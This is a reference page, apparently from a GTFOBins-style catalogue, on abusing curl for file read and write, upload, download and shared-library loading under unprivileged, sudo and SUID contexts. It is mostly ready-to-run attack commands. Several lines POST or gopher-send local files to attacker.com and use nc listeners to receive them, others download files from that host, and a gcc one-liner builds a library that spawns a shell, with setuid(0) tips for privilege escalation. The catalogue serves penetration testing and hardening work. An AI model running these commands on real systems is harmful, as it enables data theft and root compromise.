curl

File write

This executable can write data to local files.

Unprivileged
This function can be performed by any unprivileged user.
```
echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
echo DATA >/path/to/temp-file
curl file:///path/to/temp-file -o /path/to/output-file
```

File read

This executable can read data from local files.

Unprivileged
This function can be performed by any unprivileged user.
```
curl file:///path/to/input-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
curl file:///path/to/input-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
curl file:///path/to/input-file
```

Upload

This executable can upload local data.

Unprivileged
This function can be performed by any unprivileged user.
```
curl -X POST --data-binary @/path/to/input-file http://attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
curl -X POST --data-binary @/path/to/input-file http://attacker.com
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
curl -X POST --data-binary @/path/to/input-file http://attacker.com
```
ReceiverAn HTTP server can be used on the attacker box to receive the data.
```
nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file
```
Unprivileged
This function can be performed by any unprivileged user.
```
curl -X POST --data-binary DATA http://attacker.com
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
curl -X POST --data-binary DATA http://attacker.com
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
curl -X POST --data-binary DATA http://attacker.com
```
ReceiverAn HTTP server can be used on the attacker box to receive the data.
```
nc -l -p 80 | awk 'BEGIN {RS="\r\n\r\n";ORS=""} NR==2' >/path/to/output-file
```
CommentData will be \r\n terminated.
Unprivileged
This function can be performed by any unprivileged user.
```
curl gopher://attacker.com:12345/_DATA
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
curl gopher://attacker.com:12345/_DATA
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
curl gopher://attacker.com:12345/_DATA
```
ReceiverA TCP server can be used on the attacker box to receive the data.
```
nc -l -p 12345 >/path/to/output-file
```

Download

This executable can download remote data.

Unprivileged
This function can be performed by any unprivileged user.
```
curl http://attacker.com/path/to/input-file -o /path/to/output-file
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
curl http://attacker.com/path/to/input-file -o /path/to/output-file
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
curl http://attacker.com/path/to/input-file -o /path/to/output-file
```
SenderAn HTTP server can be used on the attacker box to send the data.
```
python -m http.server 80
```

Library load

This executable can load shared libraries that may be used to run arbitrary code in the same execution context.

Unprivileged
This function can be performed by any unprivileged user.
```
curl --engine /path/to/lib.so x
```
Sudo
This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
```
curl --engine /path/to/lib.so x
```
SUID
This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
```
curl --engine /path/to/lib.so x
```
Payload
As an example, the following can be used to create a minimal shared library (lib.so) that spawns a shell upon loading:
```
echo '__attribute__((constructor)) init() { execl("/bin/sh", "sh", 0); }' \
    | gcc -w -fPIC -shared -o lib.so -x c -
```
Add the usual -p argument to the shell for SUID contexts. Consider calling setuid(0); beforehand if the executable has the CAP_SETUID capability assigned.